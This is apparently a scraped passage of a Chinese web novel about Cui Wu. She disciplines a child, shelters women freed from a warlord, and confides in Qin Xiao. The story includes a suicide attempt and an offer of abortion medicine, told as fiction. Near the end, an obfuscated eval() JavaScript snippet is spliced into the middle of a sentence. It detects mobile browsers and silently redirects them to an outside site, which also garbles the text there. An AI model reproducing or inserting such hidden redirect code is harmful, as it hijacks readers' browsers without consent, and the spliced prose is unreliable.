崔芜从不是好气性的人,逼急了人都能杀,何况教训一个熊孩子?她实打实地抽了十鞭,饶是手底留了力,还是将李继文抽成只花红柳绿的血葫芦瓢。 孩童皮肉本就娇嫩,何况李继文六岁前是金尊玉贵养大的,从没吃过这等苦头,被抽得嗷嗷惨叫,鼻涕眼泪全下来了。 崔芜让他好好长了记性,这才将人解下,随手丢给荀乳娘:“带他去上药。不管你还是他,都给我记清楚了,我姓崔的不是什么善类,如今心情好养着你们,真把我惹火了,如王重珂那般赤地千里的手段,我未必使不出来!” 荀乳娘在府中数日,怎会没听过王重珂当初占据华亭的事迹?当下脸色煞白,一句抱怨也不敢说,抱着李继文默默去了。 崔芜丢了鞭子,转身去了东偏院。 东偏院里住了被王重珂掳来的女子,虽然过去数月的经历确实惨痛,将好些人折磨得麻木憔悴,但人的生命力终究是顽强的,歇息了这些时日,竟也逐渐缓了过来。 每当这时,崔芜就会真心实意地感谢这个世道——虽然战乱频发,人命卑如草芥,可也正因如此,礼崩乐坏之下,有些在“太平盛世”中被抬到极高地位的东西,反而不那么重要。 比如男女大防,再比如清白和贞洁。 崔芜进屋时,被打的陈二娘子正褪去上衣伏在榻上,阿绰坐在床边,帮着往伤口处抹药。 见她进来,陈二娘子挣扎着爬起身,要给崔芜磕头。 “多谢郡主当日救命之恩……” 崔芜眼疾手快,将人摁回榻上,又对阿绰使了个眼色。后者会意,放下药瓶,手脚迅捷地退出屋去。 “不必多礼,伤得如何?” 陈二娘子感激道:“不要紧,几位大哥只是做样子,没当真用力,并不怎么痛。” 崔芜没听她的,仔细检查过伤处,发现确实伤得不重,甚至连皮都没破,只是有些皮下出血,遂接手阿绰的活,继续抹药膏。 方子是她根据《伤科汇纂》调配的(1),药材有没药、血竭、冰片、樟脑、金不换、东丹和茶清油。原本还有一味乳香,原是从乳香树上采集的树脂,奈何这玩意儿金贵,原产于北非和部分阿拉伯沿海国家,一时半会儿弄不到,只得作罢。 陈二娘子有些惶恐:“怎好劳烦郡主做这些事?” 崔芜头也不抬:“我不是什么郡主,只是借了先歧王名头,方便行事罢了。” 陈二娘子愣住。 崔芜接着说:“我家穷,幼时被爹娘卖给青楼,因不甘心为奴做妾遭人践踏,这才舍命逃出。谁知又遇上铁勒破城,被带来北地,辗转一个大圈,好不容易在华亭扎下脚跟。” 陈二娘子原先见崔芜生得好看,直如神仙中人,又是那般谈吐气度,早认定她非富即贵,听她自称“歧王郡主”,便信了八九分。 谁知她居然亲口承认,非但与先歧王八竿子打不着,甚至出身风尘,连良家子都不如,顿时懵了。 陈二娘子家中虽不富裕,但母亲去得早,自小与父亲相依为命,颇受宠爱。幼时见邻家小子去私塾读书,她觉着有意思,闹着也要去。她爹疼闺女,竟也答应了,是以断断续续念了些诗文,比寻常乡野女子明些事理。 当旁人受尽凌虐、身心俱疲,尚且浑浑噩噩时,她是第一个回过神的,且精准抓住了能够决定她们命运的救星——崔芜。 这与崔芜本人的出身经历无关,只要她手中有权、麾下有兵,在华亭说话算话,便没人敢看不起她。 个中道理,陈二娘子未必想得很明白,却凭本能知道该用何种态度对待崔芜:“郡……娘子为何告诉我这些?您便不说破,我也决计想不到。” “因为我想让你知道,遭人凌辱不是你的错,是逼迫你的人无耻无德,是世道不仁,以苍生为刍狗。” 崔芜将“无耻无德”四个字含在齿缝间,大约是想起江南时的经历,眼底闪过冷意:“卑贱如我尚且有重新开始的勇气,你,还有你们,自然也可以。” 陈二娘子抬起头,只见屋门没关,外头影影绰绰围了一圈人,都是与自己一同被掳进县衙的苦命女子。 “当初我让你们仔细想想,往后的路该怎么走,如今可想好了?”崔芜问,“昔日种种,皆如大梦,王贼已死,噩梦当醒。你们若有亲旧在世,我便送你们去投奔。若没有,想留下也成,正好县衙缺人手,总能匀你们一口饭吃。” 人皆有向生畏死之心,当日一众女子受王重珂凌辱,未尝没有寻短见的念头。可如今王贼已死,再没有人欺辱她们,这几日进进出出,见到的护卫下人待她们都颇为客气,仿佛那些恶心的、痛苦的,让人想起来就心肺颤抖的经历,从没有发生过。 在这样的环境下,她们逐渐生出幻觉,也许事情真的能过去,也许一觉醒来,生活就能回归正轨。 “我、我爹死了,我娘生下我没多久也没了,”陈二娘子嗫嚅道,“我只有个舅舅,住在吴山左近的村子里,我小时候,我爹还带我去过……” 崔芜懂了:“你好生歇息,待伤愈了,我命人送你去你舅舅家。” 陈二娘子眼睛倏亮。 有她带头,其他人也纷纷开口,有爹娘死了,愿意投奔亲戚的,也有家人俱殁、无处可归,宁愿留在县衙服侍“郡主”的。 崔芜一视同仁,凡想投亲,每人给几百钱盘缠,安排护卫一路护送。至于留下的,她没立即松口,只道先做一段时间再说留不留。 “我这儿没那么多规矩,打碎两个碗,或是多吃两口点心,都是小事,睁一只眼闭一只眼也就过去了,”崔芜方才怀柔,这会儿却敲打起众人,“唯有一点,在我手下做事,眼里心中只能有我 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许思谦评的是经义部分,他是正儿八经科举做的官,考生基础是否扎实、义理可曾通晓,一看卷面便知。当下圈出十来份试卷呈与崔芜,意思很明白,这几个人他看好,可以考虑进入复试。 崔芜和丁钰却对另一份卷子感兴趣。 这位一看就偏科严重,前头的经文部分几乎一字未写,唯独两道木工题答了,只是字迹不大好看,鬼画符似的,眯眼认半天才猜了个七七八八。 但他答得十分详尽,不仅给出文字分析,还在旁边画了简单的示意图,且注明部件尺寸。 直看得丁钰双眼发亮,嗷嗷叫唤:“就是他!我就看上他了!挖地三尺也得把人弄过来!” 崔芜:“……” 知道的是求贤若渴,不知道的还以为他要强抢良家民女。 许思谦接来瞅了眼,眉头忽而蹙起:“这名字……” 崔芜和丁钰两只脑袋探过去,见封存的名字是“张时德”。 很寻常的名字啊,有问题吗? 崔芜瞧着许思谦:“许令认识?” “谈不上认识,只是……”许思谦只差把“一言难尽”四个字刻脸上,叹了口气,“不敢隐瞒郡主,此人家住城南,原是……一个木匠。” 崔芜与丁钰同时恍然:难怪木工活干得不错。 “若是下官没记错,此人虽略识得几个字,却没上过学,经文义理一窍不通,”许思谦说,“而且,他今年已是五十好几,展眼奔耳顺去了。” 崔芜明白了他的顾虑,默默扶额。 古人生活艰苦,且毫无科学常识,人均寿命短是意料之中。好比另一个时空的赵宋王朝,连生活条件最好的帝王,平均寿命尚且不到五十,何况是底层的小老百姓? 五十好几,毫不夸张地说,这可真是黄土埋到脖子根了。 但崔芜和丁钰都没有弃之不用的打算。 毕竟,乱世之中,人才弥足珍贵,哪一个她都舍不得丢掉。 “先看看吧,”崔芜说,“只要不是老眼昏花走不动路,只要他真有这方面的才能,我就敢用他。” 丁钰举双手赞同。 她心意已决,许思谦也无意与她唱反调,聪明的地闭上嘴。 敲定了面试时间和人选,崔芜将计划表上又一重大事项划去。两日后,她启程去了城郊察看新兵训练情况。 谁知到了地方,发现新兵在颜适和韩筠的调教下颇有了些样子,却不见已为校尉的延昭。 “你哥去哪了?”崔芜问阿绰,“怎么不在军营?” 阿绰:“主子吩咐将那些女子送回家,我哥不放心旁人,自己亲自去了。” 崔芜“哦”了声,仔细想想,又觉得不对:“那是昨日出发的吧?都这个时辰了,怎地还没回来?” 阿绰也说不上来,和她大眼瞪小眼。 崔芜反复思量,以延昭的身手,随行又不是没带亲兵,除非伪王心血来潮大举进犯,否则不存在遇到危险的可能。 那是有事耽搁了? 崔芜摇摇头,决定暂且放下,转身去找秦萧,将新兵下一阶段的训练计划大致说了,又从他口中撬出一箩筐的经验之谈。 眼看天色将黑,正吩咐人预备晚食,亲兵来报,延昭回来了。 崔芜:“怎么这时候才回来?” 亲兵小心翼翼:“不是一个人,是两个人。” 崔芜扬起长眉。 38. 第三十八章 交心 延昭把陈二娘子又带了回来。 离开的时候,陈二娘子不说全然恢复,至少眼底重燃亮光,显然对未来颇有期冀。 可是走了这一趟,她脸色灰败眼神黯淡,一只手摁在小腹处,简直有几分行尸走肉的意思。 崔芜皱眉,看向延昭:“怎么回事?” 延昭狠狠叹了口气。 其实刚开始一切顺利,他们找到了陈二娘子舅家所在的村子,也见到了舅舅本人。舅舅听说外甥女的经历,很是心痛,搂着她大哭一场,还安慰她安心住着,家里不少她一双筷子。 按说进展到这里,延昭本可以功成身退,可就在这时,陈二娘子突然做出一个出人意料的举动。 她被涌上喉头的恶心感顶着了,猛地推开舅舅,倾身干呕起来。 舅舅是男人,不明就里,只以为甥女是赶路晕车,张罗着给她倒水喝。舅母却是过来人,瞧着不对,将俩大老爷们赶出去,自己与陈二娘子私语几句,套出了真话。 陈二娘子怀孕了,怀象还很不错,胎儿生机旺盛,一个多月已能摸出脉搏。 其实早在两日前,她就从郎中嘴里得知自己怀孕的消息,偏偏那会儿崔芜忙着府试之事,抽不出空当。她也不敢打扰,只好将这个消息默默藏在心里,原想着见到舅舅,再与他商量如何处置。 谁知舅母得知此事,二话不说将她推出门去,“砰”一声掩了门,不管陈舅舅怎么劝说,也不管陈二娘子如何哀求,死活不肯开门。 “我听她骂的那些话,好像是说原本一个大闺女,就算被人糟蹋了,乱世中也没人计较这些,养几个月嫁出去,多少能赚点聘礼,不算亏。” 说起乡野妇人的算计,延昭颇有些咬牙切齿,大约于直心直肠的武将而言,万万料想不到人心眼会如此之小,除了自家地里的仨瓜俩枣,再看不到旁的。 “可她现在怀孕了……光打胎药就是一笔开销,若是死了,还得他们出棺材钱。就算挺过来,万一养不好落下病根,岂不要拖累他们家一辈子?” “生下来也麻烦,带着这么个拖油瓶,谁肯娶她?到头来还不是麻烦她舅舅一家。” 崔芜揉了揉额角,见惯世情冷暖,倒不觉得如何惊讶:“然后呢?” “她当时脸色就不太对劲,我说带她回来再作计较,她却说有别的亲戚,想再去试试。” 延昭性情憨直,容易轻信旁人的话。崔芜明里暗里提点过他好几回,奈何这位是个直肠子,全然不往心里去。 几次下来,崔芜懒得再说,由他吃过几次亏,自然懂得长心眼。反正有自己掌着弦,总不至于出大差错。 没曾想一时偷懒,差点闹出人命。 “她说亲戚家就在附近,不必我相送,她自去投奔。我、我没多想,就先回来了。” 崔芜“唔”了一声,已经猜到后续发展:“然后呢?” “我快走到村口时,发现她包袱没拿,这才觉出不对,”此刻回想起来,延昭仍是一脸后怕,乱军丛中面不改色的第一猛将,掌心里生生捏出一把汗水,“我回去找她,就看到、看到……” 延昭闭了闭眼,将升上心头的惊惧强摁回去。他想起返回村子时,半天没寻见陈二娘子,也没瞧见她说的亲戚家。直到那时,他才察觉不对,问了好几个路人,终于寻到陈二娘子踪迹,却见她解下腰带搭在一截横出的树枝上,踩着石头将脖子套进去,竟是打算寻短见! 延昭反应何其快,脱手掷出腰间佩刀,刀锋极精准地割断腰带,女人倒在地上,好半天才缓过一口气。 “让我死!”她嚎啕大哭,一边喘一边嘶哑干咳,“我爹没了,舅舅也嫌我,肚子里还怀了个孽种……我怎么活?不如死了干净!” 她以为噩梦醒了,一切都结束了,以为自己有机会回到正常生活,却被舅父紧闭的院门和腹中不期而至的骨肉“啪啪”抽了两耳光。 仿佛老天在用这种方式警告她,发生过的永远无法磨灭,耻辱会随着血液流遍全身,在骨头上留下刻痕。 延昭这辈子没怕过谁,却对女人的眼泪手足无措,浑身紧绷地杵在原地,愣是不知道该怎么办。 女人哭了会儿,突然爬起身,目标十分明确,是奔着三丈开外的山崖去的。 延昭终于醒过神,三两步追上去,勾着女人腰身将她拖回来,不顾她连打带踹的挣扎,将人扛上肩头。 “主子好不容易把你救回来,是让你这么糟践自己性命的吗?”他把人放上马背,恨铁不成钢地数落,说着说着来了情绪,突然蹦出一句,“谁说没人要你?真没人要,我要成不!” 陈二娘子:“……” 可能是哭闹累了,也兴许是知道自己气力不够,挣不过延昭,反正回来的一路上她都安安静静,再没闹腾过。 崔芜早有预料,倒不吃惊这过分波折的认亲过程,目光越过延昭肩头,看向他身后脸色灰败的女人:“你怎么想?” 女人低头抠手指,不吭气。 “我还是那句话,你若不想要这孩子,我可以开副药帮你去了这祸胎,左右才一个多月,胎儿骨头还没长出来,想不要也方便。” 女人猛地抬头,神色惊恐。 她未尝不痛恨这个有着一半仇人血脉的生命,可再痛再恨,那也是亲生骨肉,是她于这乱世仅有的牵绊。 血脉连心,如何割舍的下? “你若不舍得,留着也成,”崔芜早料到她舍不得,淡淡道,“左右乱世之中,受辱的女子不止你一个,世人见怪不怪,不会苛责于你。” “我府上不缺你一口饭吃,也不会少你孩子一口汤喝。” 陈二娘子没料到崔芜会这么说,眼睛闪烁了下,似乎想开口,话到嘴边又像是被什么拦住,嗫嚅着说不出口。 崔芜诸事缠身,没精力猜她想法,道了声“我再给你几天时间,你好好想想”,转身走了出去。 一回头,就跟站在门口的秦萧目光交汇。 名节清白于女儿家事关生死,对心怀大志的男子来说,却是鸡毛蒜皮的琐事。崔芜不指望秦萧感兴趣,因此压根没请他同行。 却没想他暗中跟在后面,不知将两人对话听到了多少。 然而崔芜并不反感。 她在青楼十多年,见惯了古时男子名为风流、实则虚伪的面目,又有孙彦这等例子在前,对这个时代的男人原本不抱什么希望。 但是自相识以来,秦萧的诸般举动扭转了她的成见。他让她知晓,这个世间固然有自私虚伪的庸人,唯我独尊的妄人,却也有温润端方的君子风骨。 人之恶行,与生俱来。人之善念,亦是古今相通。 是以,崔芜在旁人面前画皮捂得严实,轻易不吐露心声,却愿意对着秦萧说两句真心话。 “当日身陷孙府,举动不得自由,想要出一趟门都须经得孙彦同意,就像鸟雀困于金丝牢笼中一般。如今回想起来,笼中雀鸟固然不得自由,可是与战乱和死亡相比,似乎也不算什么。” “难怪孙彦一直觉得待我不薄,用时人眼光看,他确实给了我能给的最好待遇。” 两人并肩走在偏院与正院的夹道中,尽头便是上回闲谈的小花园。此时夕晖已尽,长夜无尽,浓云间零星缀着几颗星子,清冷光晕笼罩于秦萧眉间,勾勒出一抹飞快闪过的波动。 他知道身困孙府的经历是崔芜解不开的心结,是以一直小心避忌,却不想崔芜这一晚不知打通了哪处经脉,居然主动提起。 这是好现象,证明她正逐渐从困住自己的过往中抽身而出。纵然前路未必光明灿烂,可人有了期冀,日子便有了盼头。 他顺着崔芜的话说道:“镇海军节度使父子之名,秦某于河西也有所耳闻。江左孙家世系名门,孙氏父子修筑海塘,疏浚内湖,外抗南吴,内抚民生,于吴越一地名声颇佳。放眼当今之世,亦称得上不世出之名主。” 崔芜释然归释然,却还是听不得有人如此夸赞孙彦,故意抬杠:“不世出之名主?比之兄长呢?” 秦萧神色自如,答得亦坦然:“论兵事,孙氏父子不及秦某多矣。论治地,秦某眼界有限,自愧弗如。” 他显然思考过这个问题,且直承短板,并无丝毫粉饰。如此胸襟自然博得崔芜好感,她客观道:“兄长不必妄自菲薄,孙氏父子固有才干,也是因为江南鱼米之地,物资丰沛,便于施展拳脚。兄长却是孤守河西,远近无援,独木苦撑,难免有力不从心之感。” 秦萧偏过头,做出认真倾听的神气,正等着她下文,就听崔芜话音一转:“不过没事,等我占了关中全境,将八百里秦川握于掌中,便可与兄长守望互助、取长补短。到时,兄长进可攻、退可守,不必如现在这般掣肘为难了。” 秦萧原以为她会说出什么鞭辟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616433|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入里的见解,没想到竟是吹嘘自己,不由啼笑皆非。 但他不认为崔芜这番说辞是自不量力,反而微微颔首:“阿芜之才,不逊于世间男子。孙彦没能令你真心折服,收为己用,这是他的损失。” 崔芜用鼻子喷了口气,不屑之意溢于言表,却不是对着秦萧的。 “孙彦才干不差,只是为人刚愎自用,旁人皆要顺其心意,若不然便用强使狠,宁可打碎旁人傲骨、折了他人气节,也要将豢养的玩物牢牢捏于手心。” 她冷笑:“女子于他是玩物,蚁民黔首于他是托起锦衣玉食的踏脚石,我两样占了全,他如何看得到我?” 这话说得够辛辣,也可见与姓孙的确实结怨颇深,这份仇怨好似刻在骨头上的印痕,但凡一息尚存便难以磨灭。 秦萧简短道:“孙氏有眼无珠,得罪了你,是他此生最大的错处。” 崔芜将这话当成褒奖笑纳了。 “世人皆以女子卑弱,又道女子无才便是德,似我这般翻云覆雨,妄图于乱世烽火中分一杯羹的,应该够得上大逆不道吧?”崔芜自嘲一笑,又拿眼觑着秦萧,“可我观兄长态度,似乎并不诧异,仿佛不管我做了什么、闯出多大的祸事,都是理所应当。” “河西秦氏的家风,竟开明至此?” 她语带试探,秦萧的关注点却完全偏了:“女子无才便是德?谁说的,秦某从未听闻。” 崔芜:“……” 她在心里给了自己一巴掌,后知后觉地想起,在另一个时空,这话最早出自明代陈继儒,原文是“丈夫有德便是才,女子无才便是德”。 而现在,莫说陈继儒还没出生,陈氏先祖是否投胎了还是两说。 “这个不重要,我也是道听途说,”崔芜赶紧道,“兄长别转移话题。” 秦萧淡淡横了她一眼,那意思大约是:到底是谁转移话题? 但他没为难崔芜,顺着方才的话题说道:“河西苦寒,又直面外虏,家中妇人需操持生计,自得磨练出一副泼辣性子,否则如何于乱世求存?” 崔芜故意道:“好啊,原来兄长是拐着弯笑我泼蛮。” 秦萧勾了勾唇角,眼底却殊无笑意:“未见得是坏事,若不是这般秉性,如何能活到今日?好比我母亲……” 崔芜心念微动。 当初在丁氏船上,秦萧就曾提过生母,只是言语简短,一笔带过,弄得崔芜不知是真有其事,还是他随口安慰。 如今他重提此事,崔芜心里有了谱,秦萧当日多半是有感而发,说不定这一路的悉心照拂、扶持襄助,也少不得“移情”二字作祟。 “我在汴梁时,倒是听过几句姚魏夫人的传闻,”她观察秦萧神色,没觉出恼怒,这才继续往下说,“兄长是见我出身风尘,想到了令堂,才格外另眼相待吗?” 秦萧眉间压着沉郁,片刻后才道:“是,也不是。” 崔芜:“……” 听不懂啊哥,能说人话吗? “我母亲……出身河西楚馆,人人皆道她嫁与父亲是交了大运道,我却知晓,她当年入秦府,实是不情不愿。” 崔芜安静地听着。 秦萧从未与人说起过生母,既是不愿议论亡者,徒添不敬,也是因为往事惨痛,不愿回想。 但是这一晚,这一刻,可能是崔芜与生母莫名肖似的际遇软化了他的心防,也可能是眼下夜黑风沉,万籁俱寂,唯余三两星子高悬夜空,凄清孤凉。 有些藏在心里多年,平时绝不肯让旁人听见的话,自然而然就吐露出来。 “我母亲与你一样,幼时家贫,父母无以为继,只得将她卖与楚馆,换取两斗粮食以供生计。” 他话音淡淡,不带感情波澜,乍一听仿佛在用旁观者的视角讲述陌生人的故事。 崔芜却知道,越是如此,越是痛彻心肺,不敢回首。 “母亲在楚馆十多年,出落得极为出挑,有‘河西第一美人’称号。每年花魁季,她盛装丽服,于凉州城的清欢阁顶倾城一舞,不知吸引了多少英豪目光,又有多少男儿攀楼爬顶,只为目睹绝世芳姿。” 这般议论自己亡母的美貌韵事,于时人的道德眼光来看其实是不太合适的,但崔芜不在乎这些,秦萧则是不想遗漏有关母亲的任何一丝细节,用平静到近乎平淡的语气继续说道。 “然后,她遇到了父亲。”